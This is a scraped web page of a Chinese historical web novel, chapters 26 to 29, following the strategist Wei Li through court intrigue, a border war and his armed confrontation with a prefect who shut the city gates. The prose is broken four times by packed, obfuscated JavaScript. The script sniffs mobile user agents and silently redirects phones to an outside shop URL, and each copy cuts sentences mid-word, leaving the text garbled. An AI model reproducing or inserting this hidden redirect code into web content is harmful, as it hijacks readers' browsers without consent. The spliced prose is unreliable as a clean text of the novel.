;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588180|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一条没有任何价值的五彩绳的人,应该也不是坏人。 何况,再差的结果能比现在差吗?他看着妹妹周娥从屋里端出来放在院子的石桌子上的两碗稀得像水一样的米粥。他盯着妹妹瘦小的背影,他只希望妹妹能过的好一点。这两天 “去很远的地方,你们可能再也回不来了。”魏离将干粮分了两个小孩一些,端过他们推来的稀米粥。 “要去哪里呀哥哥?”周娥咽下嘴里的干粮,圆溜溜的眼睛看向一旁的哥哥,“不等父亲了吗?” “父亲已经先去了,在那边等着我们,这位大哥哥就是他请过来办事,顺便带我们走的。”周聚很快就把碗里的粥喝见底了,“我们跟着他去找父亲,吃好吃的白面馒头。” “好耶!我马上就去收拾东西!”周娥很快将手里的东西囫囵塞进嘴里,端着三块空碗进屋。 “收拾好就走,到附近的城里我给你们买一辆马车。”他能赶路,小孩子可没那个体力。 “小一点,够小娥和您坐就行,我可以走路的。”周聚将自己为数不多的书籍搬出来,这些都是父亲为他亲手借来抄录的,父亲最大的愿望就是他能参加科举,考个官来,照顾好妹妹。 “我知道了。”魏离点头,将他的书和妹妹仅有的三套打着补丁的衣服放在一起,系成包袱背在自己身上,一只手牵着马,一只手牵着周聚,而周聚紧紧拉着妹妹的手。 三个人迎着冬日的阳光离开了这片山林。 魏离自觉也不是什么纯善的人,但看这两兄妹在山中生活困窘的时候,他想起了自己与母亲分离后的那段日子。 在被山上寺庙接济之前,他喝的是雨水山泉,吃的是山下集市的烂果疏和别人家收稻子落下的零碎麦穗活下来的,还差点被拐走。当年还没有店面的桃花酥小贩每天都会给他一些卖剩下的糕点。 所以他很喜欢集市上香甜的桃花酥,那是他灰暗的童年唯一像梦一样美好的事物。 不过那都是过去了。 26. 第 26 章 等魏离回到卞城时,已经是寒冬了。 柔软的云朵游荡在清澈深邃的天空上,褪去了炽热的阳光温柔地洒在重新活动起来的城镇上。城中的绿意都已经随着寒冬到来缩回地下,树木枝头满是晶莹剔透的冰棱和雪花,阳光照耀下来变得如同空中飘散下来的繁星一样闪耀。 城门不远处,打雪仗嬉戏的孩童停下了手中的动作,看向从外边回来、在干净洁白的雪地上留下灰黑色车辙的马车,城中的将士们很快将那辆稍有些简陋的马车围了个水泄不通。 “可有符牒?”守城的柳杨带着士兵将马车围住,实在不是他们草木皆兵,前不久金国奸细又借着来往商贾的身份进城对淮阳王下毒,要是没有顾医女在,他们所有人都得掉脑袋。 “是我。”魏离掀开轿帘,看向周围黑压压一片的甲胄,“我回来了。” “魏大人!”柳杨见到他的一瞬间,居然有些激动,“快让去告诉顾先生和王爷,魏大人回来了!” “不必如此兴师动众。”魏离系好毛领披风从马车上下来,“我这带了两个孩子,麻烦您帮忙安置一下,我梳洗一番就去拜见王爷。” “不麻烦不麻烦。”柳杨连忙摆手。 周聚兄妹的脑袋偷偷从门帘边上探出来,眼里满是新奇,这他们第一次见到雪,以往在山里,从来都没有下过雪。 “下来吧。”魏离对着两颗小脑袋伸出手,“跟着这位叔叔去,他会给你们安排好住处。” 周聚拉着妹妹一起下车,有些不好意思,“不可以跟着您吗?” “我还有其他事情,你们先跟着他走,吃点东西休息一下,过会我就去找你们。”魏离蹲下来替他们把披风拉紧,“别害怕,他们都是好人。” 周聚乖巧地点点头,带着妹妹跟着柳杨走了。临到城门时一阵劲风扫过,回头去看,一个青衫少年已经扑到魏离怀里,“先生,我在这里等了您半个月,还以为您出事了。” 这青衫少年正是即荧,魏离拍拍他的脑袋,“长高了不少啊,怎么突然来卞城了?” 自从科考过后,即荧每日吃好喝好,身量已经长开了不少,完全看不出之前瘦弱小乞丐似的样子,终于有翩翩少年郎的感觉了,要是当初状元游街时他是这副模样,恐怕早就被京中达官显贵看上,做了乘龙快婿了。 “您交代的事情我都做好了,这次陛下派我作钦差大臣彻查四处驿馆,还派了京中金吾卫去剿匪。”即荧忍住眼泪,从魏离身上离开,一双漂亮的眼睛紧紧看着他。 “边走边说。”魏离将马车交给柳杨,带着他往城里走,“苏大人怎么样了?” “苏桓好像早就预料到贪污灾粮东窗事发,他找了侍郎顶罪,家中来历不明的钱财也被他娶了一位富家小姐当姨娘算作嫁妆洗了个干净,只是被罚了一年俸禄。但这件事已经横在陛下心里了,您送上京的驿站人证作证是太子殿下那边的人拦截了卞城的消息,如今陛下对太子多有不满。”即荧从怀中掏出早就准备好的桃花酥,“这是我姐姐今天早上刚做的。” “即灵也来了?”魏离接过糕点,“四部都有太子党,陛下怕是夜夜不得安睡啊。” “我不放心姐姐一个人在京城,毕竟事情是我捅上去的,我怕有人对姐姐下手。”即荧又将腰间的剑解下来,“这是我临离京前汪小少爷托我带给您的。” 汪水铎?魏离接过剑,抽出来看了看,是好剑。 “还有就是,太子妃好不容易有孕,却被苏侧妃给害了。冯尚书在金銮殿上当着百官的面上书求陛下住持公道,给苏侧妃降成了贵妾,让苏桓停职两个月好好管教家里的儿女。”魏离不在的这几个月京中到处都是大风浪。 “太子妃倒是聪明。”魏离将腰间的剑取下来,把新的挂上去,这把顾怀真的剑还得还给人家。 “魏先生!”李瀛今天在城墙上面巡查,收到魏离回来的消息横跨大半个城才见到他。 “殿下。”魏离行了个礼,“如今卞城如何?” “金国还和往年一样派些游寇在城外抢些过冬物资,但是汪将军的部下守的很好,目前没有人受伤。” “他们不会善罢甘休的。”死了一位大将,伤了一位皇子,这口气他们绝对咽不下去。 “不过,周朝那边应该也得到了想要的结果。”魏离拆开桃花酥的油纸,给他们各递了一块,“他们这次对卞城动手肯定是有周朝授意的,如今大将折戟,金国边疆怕是不保。” “那也是他们活该。”即荧小心地捧着魏离递过来的桃花酥,酥脆的糕点一碰就往下掉渣,“虽然卞城平定,但先生还是晚些回去吧,我从中榜开始就与先生待在一起,先生应该也会受些牵连。” “他们怎么会看不出来是我授意你的。”魏离轻轻一笑,将剩下的糕点包好,“不过我没想这么早回京,若有人回京述职,就说我身受重伤不能颠簸吧。” 时间还没到。 ———— 周聚和妹妹收拾好东西就待魏离的院子门口等着魏离,带他们来的大叔说,他们院子边上就是魏先生的院子。 “你们找魏先生吗?”即灵拎着食盒到魏离院子门口时就看见两个小团子蹲在门口,“先生在和汪将军议事,先进来吧,外面风大。” 她打开院子的门邀请他们进来,“你们是早上跟着魏先生一起回来的的那对孩子吗?” “嗯……”周聚拘谨地坐在凳子上。 “你们从哪里来的呀?”即灵很喜欢他们,她一见到这小孩就想起自己跟弟弟相依为命的日子,眼中又多了几分怜爱,放下食盒,将其中的点心取了一盘出来,递给他们,“吃点点心,姐姐刚刚做的。” “皖地。我家住在山上。”周聚接过点心,有些不知所措。 “我们是来找父亲的,哥哥说魏先生会带我们找父亲。”周娥吃着点心,笑的眉眼弯弯,她很少吃点心,因为她知道点心卖得很贵,她不敢跟魏先生提。真好吃,她圆圆的脸颊边上沾满了碎屑。 “慢点吃,姐姐这还有,吃完了姐姐再做。”即灵抽出随身的帕子帮她擦干净脸。 “应该是姐姐,姐姐说要给魏先生做一桌好菜,接风洗尘!”即荧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588181|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢快的声音从院外传来,“姐姐最近还学会了好多卞城当地的菜,可香了。” 他走进门时,正好看见即灵在给周娥擦脸,一头雾水,“哪里来的小孩啊?” “我在路上带回来的。”魏离跟在他后头进门,“周聚正在启蒙读书的年纪,你教教他吧。” “我……我没有教过别人读书……”即荧替姐姐把食盒里的饭菜拿出来放在桌上,放好之后才仔细看向局促不安坐在一边的小男孩。 “我试试。”看起来还挺乖的。 魏离吃饱喝足后又将周娥交给即灵,把两兄妹都给送出去,安心地松了一口气在榻上躺下。 魏离是真的不会跟小孩相处。这一路上也不知道该给他们买些什么、准备些什么,只是保证衣食,至于周聚编出来安抚周娥的“找父亲”,就交给他自己想该怎么跟妹妹坦白吧。 他还有更重要的事情要办。 周朝和大宁的战事,马上就要起了。 ———— 京城的李焕在知道即荧带着证人上金銮殿告冤的时候,就明白自己被魏离摆了好几道,气的在苏烟罗的屋子里砸了好几套杯盏。 连着苏烟罗这个没脑子的也是魏离劝他纳的侧妃! “殿下……”苏烟罗跪在地上,眼中含着盈盈泪水,带着一脸怯意的看向李焕。 “你也是个蠢的。”李焕到底是不忍心美人落泪,将她抱到榻上,“太子妃叫你去你就去了?”如今害的苏家遭难,他也不好做人。 “妾也不知道娘娘会污蔑妾呀……”她趴在李焕肩头,轻轻拢住他系在腰上的环佩,“娘娘之前可是妾的榜样,父亲常教导妾向娘娘学习……” 就算冯氏真是她害的落了胎又怎么样?太子不相信,那她苏烟罗就是清白的。陛下信了又怎样?她冯氏不还是一个不受宠的太子妃。 “殿下……妾以后会小心的,不会再给殿下添麻烦了……”她伸手抚上李焕的脸颊,“妾也想生一个孩子,像殿下一样英俊明达……” “你觉得魏离如何?” “妾与魏大人只有一面之缘……不甚清楚他的为人……”苏烟罗恨不得将魏离千刀万剐,若不是他和那个周朝七皇子,她又何须委身太子,自奔为妾!如今又让那个翰林编修参了她父亲一本罚了一年俸禄! 他有本事在卞城躲一辈子,否则她绝不会让他好过。 “或许是本宫执意娶你一事让他寒了心,否则他怎么会帮我三弟的忙。”李焕伸手将她发髻上的钗环解下,如瀑的长发倾泻在他的手边,柔软光滑。 “是那魏离背信弃义,为人臣子,本就该为主分忧。”既然都踏上这条船了,受些委屈怎么了,若不是他要跟哥哥争会元状元的位置,父亲怎么会出手针对他? 何况她原先和他并无仇怨,为何要在雅会上让她颜面尽失、名声尽毁? 如今再添上一笔,魏离彻彻底底成了苏家的敌人。所幸,他现在也是太子和太子党的敌人。她躺在李焕怀中看着他解下床头纱帐的系带,柔纱轻抚过她的肌肤,满屋炭火将她的脸烤的通红。 27. 第 27 章 汪水铎回京述职,替魏离报了战功,在金銮殿奉上了那颗已经在风雪中风干的人头。尊位上的皇帝象征性地给他封了个男爵,封地用的还是他之前报上去的祖籍所在的那一片京郊。 “太敷衍了吧。”汪水渟将圣旨递给正心血来潮检查周聚功课的魏离。 “陛下正不喜太子党,给一个封号都是咬着牙给的。”魏离接过来就放在边上的凳子上,“我在乎的也不是那点功名。” “不爱功名,你费那么大劲考科举干什么,还连中三元……”汪水铎的腿突然被顾怀真的拐杖抽了一下,“你干什么啊……我新给你打的拐杖,底下是铜的啊,很疼的!” 顾怀真摇摇头,叹了口气,“魏大人,我们三日后就拔营离开卞城。” 确实如魏离所料,周朝趁金国大将折戟大举进攻,金国没法子只好割地求和,周朝转而将矛头又指向好不容易平静两年的云郡。 “周朝可没金国这么好对付。”但手段也光明磊落许多,不会偷偷派奸细给主将下毒。魏离替周聚改了几个错字后放下手中的毛笔,拍拍站在一边忐忑不安的小孩,“去玩吧。” 周朝实力强盛,疆域辽阔,很大的原因是掌权人用人不拘,文武并行。金国的问题在于任人唯亲,有才德的人无法施展抱负,无才德的人在上层抱团。大宁的问题在于皇帝的疑心病太重,限武重文,连武举都取消了。 “听说之前献城叛逃的大将军,如今在周朝过的很好。”魏离将圣旨卷好收进箱子里,看向一边沉思的顾怀真。 “这次就是他领的兵,听说他是自己向皇帝请命领兵的。”顾怀真也明白魏离的意思,但当时大将军能够不顾一切献城是因为自己唯一的女儿在京城被清阳公主的马车撞死了,他在大宁已经没有任何牵挂了。 南阳顾家没落,但京城兵部尚书还在,他不能不顾一切。 “兵部也是迟早的事情。”魏离看向门外和顾荨带着两个孩子打雪仗的汪水渟,“小少爷和将军都是性情中人,若局势真的走到无可挽回的地步,也不失为一条好路。” “魏大人的话我记下了。但眼下最危急的是你吧。”顾怀真不理解他为什么还能安心待在这里。他让即荧举报的贪污和驿站间谍牵连了大半个早朝的官员,如今几乎整个官场都恨不得啖他血肉。 “我无所谓。”魏离轻轻一笑,扶着他走到院子里看他们打雪仗,“清阳公主在,我暂时死不得。” “但苏延和清阳公主……”顾怀真不理解他的想法,真的。 “已经搞在一起了吗?”他出口就是让人震惊的言论,“我知道啊,也是无所谓。” “那什么是你有所谓的?” “云郡求兵支援的时候,顾先生提我一嘴,好让我别那么早回到京城去面对这些烂事。”魏离冷不防被雪球砸了个满怀。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588182|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他看向嬉闹的几人,取下身上的环佩,搓了个大的。 ———— 汪水渟和顾怀真很快就启程了,漫天飞雪很快就将遗留在雪地上的马蹄掩盖得一干二净,如同没来过一般。 “如果有一天汪家也和我家一样,你会怎么办?”顾怀真骑在枣红色的马背上看向身边的汪水渟。 南阳顾家的没落就是从皇帝的疑心开始的。当年他的祖父也曾封侯拜相,几十年的功业终究是不及苏桓一句“其心可疑”,说苏桓是踩着他顾家的尸骸上位的也不为过。他被年迈的祖父送在京中十几年,他年年日日夜夜都忘不了父亲因被帝王疑心郁郁而终,母亲以泪洗面,含恨离世。 “那就反啊。”汪水渟满不在乎地开口,顾家落到那个地步在他看来,就是因为顾及皇权和忠义骂名,“如果陛下疑心我家,那就疑心吧,如果陛下对我家下手,那我也不必顾及什么忠臣之礼。” 没了命,要这名声做什么?陛下对武将的态度已经明显的不能再明显了,他宁愿来回调这几位将领也不愿提拔些新人,更不愿对武将进行封赏。他这次回京,得了良田金玉、美人绫罗,就是没得官职升迁。 自从大将军叛国,大将军之位就一直空悬,不是没有建功立业的儿郎,而是陛下不愿意再给任何人有反叛重伤大宁元气的机会。但一味的强压,哪里能服众呢? 但这一切都跟他没有关系。 28. 第 28 章 托汪水渟的福,魏离得以在卞城清闲度日。 但即荧不行,他毕竟有事物在身,这段时间只是来看看魏离过的如何。 “先生,我和姐姐过明日一早就离开。”即荧将这段时间抄录的书籍都搬给周聚,卞城到底还是边陲,没有书斋,只能找有藏书的人家借来撰抄,“为何不让周聚和我一同回京城?”这样先生还能再多休息几日。 “别说周聚兄妹,就是你们俩我也不想让你们回京城。”魏离看向已经和自己差不多高的少年,“我让你呈上去的证据让多少官家损失惨重你自己都没算过吧,回京之后谁的话都不能直接相信,多考虑。” 他这个罪魁祸首还躲在卞城,即荧姐弟肯定会成为众矢之的,虽然他在卞城也待不到年关,但在来年九月之前是不会回到京城的。 “即荧谨记于心。”即荧对他行了个大礼,“若不是先生,我和姐姐也无法相见,我做什么都是愿意的。” “举手之劳而已,不必挂怀。路上多注意安全,不要让人钻了空子。”魏离收拾出些金银器物给他当做路上的盘缠,又将顾荨准备好的药物、防身匕首装上,虽然陛下安排了人来接他们,李瀛也拨了些人护送,但山高路远,谁知道会发生什么。 “谢先生。”即荧没有推辞,帮着他一起打包行李。 等即荧拎着大包小包离开魏离院子时,李瀛正好得了京城来的消息,说是云郡形势又不大好了。 “形势危急让太子殿下代陛下出征呀,干殿下什么事,殿下上个月中的毒顾姑娘说还有余毒,不宜走动。”魏离给他倒了一杯新茶,“在下也是身受重伤不宜远行。” “大哥他不会去的。父皇恐怕也不愿让他去。”他这种边角近乎隐形无足轻重的皇子可以赴边,太子出征,有什么损失就是伤了国之根本。 “我先前已经和殿下说过了,如今您在卞城是最安全的,一旦踏出卞城范围,太子殿下必然动手。在太子殿下想尽办法要除去您的时候,兵部尚书愿意担下过错向陛下呈书求援,陛下也愿意两次调兵来援。陛下对您的态度已经很明显了。”魏离将前些日子画好的大宁地图展开,“云郡不说丢失一城,就算整个云郡都成为周朝的囊中之物,对大宁也没有严重的威胁。” 他伸手指向地图上云郡与广郡之间的群山屏障,“这里周朝军队难以攻进来,同样的,其他地方的将军也难以带兵翻山支援。只要殿下一去,必定是比当初卞城守城之时还要孤立无援。” “难道要眼睁睁看云郡沦陷吗?”李瀛不解地看向他。 “云郡本就难以保住,从大将军携城叛逃的那一刻开始,整个云郡都迟早会属于周朝。”魏离无奈地看着他,“我知道殿下心系大宁的每一寸土地,不然也不会孤军守卞城如此之久。” “但不归愿意带病驰援,一是担心卞城城破,金国如入无人之地,二是太子并非良主。陛下已经老了,您该早作打算。如果您的志向只是在太子殿下手下做个闲散王爷,就请您放弃一腔为国为民的心思。否则早晚招来杀身之祸。” 魏离好笑地看着他几乎要当场裂开的表情,“如果您的志向是那个尊位,还请您思虑清楚,去云郡,对您有什么好处。” “为何你们都要我去争那个位子?” “因为我不犯人,人未必不犯我。”说实话,魏离不明白他是怎么养成现在这副性子的,“或许殿下还记得苏柳玉?” “她是不是还活着,先生是不是知道她在哪?”李瀛的眼睛在“苏柳玉”三字从那张泛白的薄唇中跳出来的时候迸发了从未有过的光芒。 “她死了。”魏离平静地看着他眼中的光婆娑欲碎,“静斋师父说她是在那场大火中被活活呛死之后才受山火燃烧的。” “殿下知道她为什么而死吗?”魏离盯着他的眼睛一字一句地说着,他知道李瀛一开始接近他就是为了打听苏柳玉的消息,只不过不好开口罢了。 “苏烟罗嫉妒于她才下此毒手。”李瀛是在离京前才知道这个消息的,那晚他一夜未眠。 “苏柳玉受太后赏识,又是苏家嫡长女,又赐婚于太子,苏烟罗真有这么大胆子?”魏离嗤笑一声,“不过是太子与苏家的博弈罢了,太子想要得到苏家的助力求的陛下,苏家不愿意参与党争先下手一步而已。殿下也知道,她在苏家的待遇一向不好。” “害死她的,究竟是苏烟罗还是苏桓,亦或是太子殿下和陛下?”魏离今天必须让他明白,不争就是死,就是失去所有珍爱在乎的东西。 李瀛的不断摇摆,早晚会影响到他的计划。 “是朝廷时局当中的党争,殿下未曾想跟太子殿下争夺过什么,但太子相信您不会争吗?九皇子他们年纪尚小,太子殿下自然不会将他们放在眼里,但您已经是成年、拥有自己封地、还有一个残破的军将母家的淮阳王!” “我……”李瀛不知道自己该说些什么。 “除了苏柳玉,柳家未必不是因为党争沦落到如今地步的。”魏离也不再多说,如果说到这个地步还看不清前路,那也可以随便找棵柳树吊死算了。 “若是要争,我会替您往云郡去,您守好卞城,莫让金人有机可乘。若是不争,你我好好称病待在卞城,待一切尘埃落定,还能喝上不归与公主殿下的喜酒。” “我……”李瀛犹豫了一会,实在是不知道该往哪条路走,“就没有两全其美的法子吗?” “鱼和熊掌不可兼得。”魏离差点被气笑,本事不大,倒挺贪心。 李瀛只是想做自己觉得对的事情,给苏柳玉报完仇、保家卫国也就行了,根本不想参与夺嫡。他也知道自己做的这些事情大哥会觉得他对那个位置有想法。他不知道父皇的心思是什么样的,所以他很别扭地做着不愿意做的事情。 “我再想想吧。”李瀛跟魏离道了个别,急匆匆地跑出门去。 门外是将院中枣树都压弯了的积雪,他深一脚浅一脚地离开。魏离看着他离开的背影,叹了一口气,挑了把趁手的铲子开始清理地上的积雪。白茫茫的一片在阳光下有些刺目,雪是刚停的,太阳是一直在的,李瀛还是个傻的。 算了,凑合着来吧,他也不是非要谁登上皇位。 这个大宁,早晚要亡的。 ———— 云郡的战事愈加紧急,眼看着顾怀真送来的书信中都连字都写的潦草几分时,文帝才松口让人带兵往云郡支援,这挑来挑去,实在挑不出合适的人选,得了顾怀真书信才想起来一个月前给斩了永安王的魏离封了个男爵,连夜派人快马加鞭赶到卞城宣旨封了他个车骑将军兼太史监军,还带了大把的草药给魏离治伤,堆满了整个药房的珍贵草药把顾荨惊得去摸魏离的脉,生怕他得了什么隐疾。 “看起来云郡的战事真的很紧急啊。”魏离让李瀛的人帮忙把赏赐都收好,端着茶水看向一旁眉头紧皱的李瀛,“殿下是希望我此去采用上策还是下策呢?” “不能是中策吗?” “那殿下说说什么是中策。”魏离盯着他的眼睛一错不错。 “不能将周朝击退,保持原样吗?”李瀛的眼中竟然流露出几分哀求。 “周朝不拿下整个云郡是不会罢休的,要么云郡失守,要么……”魏离叹了一口气,漂亮的眉眼上也露出几分愁绪,“将过去失去的云边小城全部抢回来。” 保持原样不好干啊,周朝有军功制度,不论是死刑犯还是普通老百姓,只要有军功,都能分得良田钱财,运气好还能混个官职当当,是周朝当官最快的方式,所以他们的士气很高,杀的每一个敌人都是为了自己能够出人头地,改善生活。 “不过这也是个大工程。”魏离端起手边的茶喝了一口,将手边的圣旨仔细看了一遍,文帝果然没想让李瀛去云郡,他怎么舍得自己藏了这么多年的儿子到跟周朝的战场上去,周朝比起金国强的可不是一星半点。 李瀛有卞城的军功撑个场面就足够了。 “其实殿下只要好好在卞城活着,太子殿下就是输的,这也是他一直在想办法至您于死地的原因。从当初汪家二话不说帮您求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13588183|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 援军就可以看出来,陛下属意谁。”魏离已经劝累了,“陛下催的急,吃过午饭不归就启程离开,周聚和周娥就托付给殿下了。” “好……好。”李瀛有些难过,从来都没有人问过他想要什么。 父亲自诩最疼爱他,眼睁睁看着他在幼时受尽冷落,亲口给他最喜欢的人赐婚。他的大哥从来不明白他的心思,一味猜忌。他的妹妹始终心向大哥。而如今魏离也在逼他。 他不明白为什么。 一直到魏离准备离开时,他还是没有想明白。 “殿下想不明白就算了,老天会安排好每一个人的命运的。”魏离临上马前拍拍他的肩头,“不用想了,不归不逼您,这次,不归是争得自己的前程。” 李瀛愣住了,呆呆地望着已经翻身上马的魏离,心中百感交集。 魏离知道他心里在想什么,实在不愿意就算了,无伤大雅。 顾怀真他们确实有些撑不住了,但就近的太守根本不愿意借兵,就怕有去无回,到时候周朝越过山脉来时自己毫无抵抗之力。 魏离也不是吃不了苦的人,收到顾怀真的传信后,带着百来人往云郡赶,另外的士卒没有来卞城,在另外几位先锋副将的带领下先赶过去了。 但他从未想过,会有人在国家城池危急时刻下绊子。 云郡往前是绵长的花冠山脉,再往前是广郡,广郡往前就是陈郡。 魏离知道自己现在很招人恨,但也没想到这么招人恨。陈郡太守派人半路截杀不成,竟然让人用大量火药埋在唯一可供行军的山道上炸了他个措手不及。 所幸斥候提前闻到风中有火药的气味,无人伤亡。 魏离站在一堆碎石面前,看着两边秃掉一块的山头。越靠近云郡气候越暖和,山上还满是茂密的花草树木,郁郁葱葱的,这下那两块跟秃斑一样。 “他们真是疯了。”留下来带这一百人去接魏离的是宁国公的远亲,李倓越,他跟着先前的军队行军也有五年了,从未遇到过这种情况。 “拖累你们了。”魏离拍拍身上的灰,这片地区全是山地丛林,蚊虫毒蛇很多,所以他才绕路走的正道,如今山头被埋了炸药,翻山怕遇上余波土地塌方,往远处去绕路花费的时间又太多了。 “将军说的什么话。”李倓越早就料到路上会出现状况,但没想到他们连炸药都用上了,“我们该怎么办?绕道吗?” “回去,从陈郡主城走。”一般来说行军会避开城池,怕与百姓发生冲突,但如今他们不过百来人,陈郡太守不答应也得答应。 “掉头!”李倓越不问为什么,他能在副将上面待这么多年还是有技巧的,上面下来的命令没问题就做,有问题就打哈哈做个一半,出点小错误将军也会看在他是宁国公的亲戚少罚些。 不出魏离所料,主城城门大白天紧闭着。 “车骑将军行军支援云郡,快开城门!”李倓越对着城头的士兵喊着。 但那士兵也不敢开门啊,太守大人说了,谁开门就全家入狱发配,他们是真的不敢啊。 “太守不让开城门!”有个府兵实在忍不住了,朝他们喊了一声,“还请将军绕道吧。” “去将太守叫来。”魏离看向紧闭的城门,策马向前。 “已经差人去请了,大人身体不适,无法来面见将军!”传话的府兵叫苦不迭,这上层的恩怨,为什么遭殃的是他们啊! 魏离也不想和他们废话,让李倓越取弓箭来,惊得城楼上的府兵实在没有办法,“将军,我们是真请不来大人啊!” 他拉弓,将最粗的剑往城墙上的砖槽上射,精钢做的箭头在碰到坚硬的墙体就变形了,好在还是扎在了砖槽之中。 魏离将手中长弓丢回去给李倓越,自己驱马到城楼下,借着马镫的力跳到马背上,借力踏上了不算粗的箭在众人惊异的目光中翻上了城楼。 “带我去见太守。”魏离冷着脸看向呆在城楼上的府兵,连飘散在空中的发丝都带着寒意。 “是……是!” 29. 第 29 章 此时的陈郡太守正闭紧大门,在院子里揽着爱妾听戏,唱的还是这些年新时兴的《甘露寺》。 魏离提着从府兵手里抢来的大刀,一脚踹开太守府的大门,台上的戏声停顿了一瞬间,便当做无事发生,壮丽的嗓音又接着唱下去,“主公且把心放定,为臣能挡百万兵——” “你倒是好兴致。”魏离提着刀从廊前走向庭院,院子里开着精心供养的百合花,纯白色的花瓣在戏声中被刀锋擦过,落下了些许血迹,一颤一颤在风里抖着。 “魏大人来了怎么也不通禀一声,下臣好去迎接呀。”陈环松开手里正给他喂葡萄的美人,起身逗抖了抖身上压出来的褶皱,正面迎上魏离,“早就听说魏大人一表人才,如今一见,名不虚传。” “开城门。”魏离眼下溅上了一点殷红,如朱砂痣般干涸在脸上,衬得一身肃杀之气带上了几分妖冶。 台上的戏还在唱着,“好姻缘,歹姻缘,莫把姻缘当等闲。君臣来到东吴地,必须过府谒乔玄——” “如今站在我面前的是魏大人,还是魏将军?我凭什么开城门。”陈环给他倒上一杯新茶,“既然大人敢让那小儿面呈圣上,不如现今也去面见圣上?” “开城门。”魏离此时已经厌倦了顾全什么礼数,抬刀就架在他的脖子上,“开城门,否则我就让陈郡没有太守。” “魏将军这么大本事,大可以自己开城门。”陈环笑吟吟地看着他,魏离生的是真漂亮。 魏离不用回头都知道,府里的家丁侍卫已经站满了他的背后,将退路完全堵死了。 那台上的戏子还唱着,““天子从来重老臣,为子孝亲臣奉君。皇图永固民安乐,但愿我主万万春——” “你不要后悔。”魏离也不想多争辩,也不可能顺他的意私开城门,手上的力道逐渐加重,先前在京城只是小小解元时,他或许还会多些耐心。 冰凉的刀锋已经被陈环的体温染得温热,刺眼的鲜红已经从刀尖溢出,慢慢地将先前有些干涸的血迹重新染红。 “大人!”先前还端坐在位置上的妾室惊叫一声扑上来被魏离一脚踹开摔在边上的花圃里。 台上的戏声和她的啜泣声混杂在一起,“既是刘皇叔过江,也该来拜老夫一拜呀!” 陈环不相信魏离敢真的杀他。他虽然只是一个四品官,但好歹是一方地头大官,可不是什么芝麻小官!何况他陈氏宗亲的势力几乎遍布整个大宁,杀了他,魏离能讨着什么好? 魏离不耐烦地踹他一脚,陈环冷不丁失去平衡跪在地上,膝盖磕得生疼,脖子上的刀锋又深了几分,微凉的刺痛感传来,倒有些新奇。 陈环惊了一瞬,但心中笃定魏离不敢下死手,重新恢复先前的心态,带着些欣赏的目光看向一身冷气正气头上的美人。 “既然知道自己是下臣,为何见到我闭门不开,不曾行礼?”魏离将手中的力气又加了几分,“你真的以为我不敢杀你?” 感受到脖子上的剧痛和不断奔涌而出的鲜血,陈环才真的慌了,“你怎么敢杀我,我可是朝廷命官!陛下亲封的太守!” “你怎么敢冒犯我?我可是功勋在身,陛下亲封的男爵。”魏离勾起一个笑容,眼中满是厌恶,灿烂的阳光下,面上的血痣更鲜艳了。 “开城门!我开!快去啊!”陈环盯着楞在一旁的侍从,恨不得将他们活吞了。 台上的戏还没唱完,“皇叔驾到,蓬荜生辉。老朽未曾远迎,当面恕罪!” “别唱了!”陈环听得有些恼怒,呵斥一声,“去给我找郎中来!” 他吼完台上的戏子,脖子上的伤口飙血飚得更严重了,“求大人把刀放开吧,他们已经去开城门了。” “现在才开不觉得太晚了吗?”魏离没有放下手中的刀,“等我班师回朝,我要看到山道恢复原样,山头树木重活,明白吗?” “是!是!”陈环想要跪着磕头,但刀没拿开,鲜血顺着衣领不断落下,他眼见着地上聚起来的小片血泊,竟吓晕了过去。 魏离确实没想杀他,但杀了也没关系。他将刀抽开,“抬下去治伤,别被自己吓死了还要赖在我头上。” 周围的家丁这才蜂拥上来捂伤口的捂伤口,抬身体的抬身体,一阵兵荒马乱才将人放在榻上等郎中来。 魏离临走前拉了一把躺在花圃里啜泣的妾室,折了朵开得正好的百合放在她手中。 那妾室睁着圆圆的眼睛也不知道想了些什么,看着魏离的背影消失在回廊里才凑到房中看被众人围住的陈环。 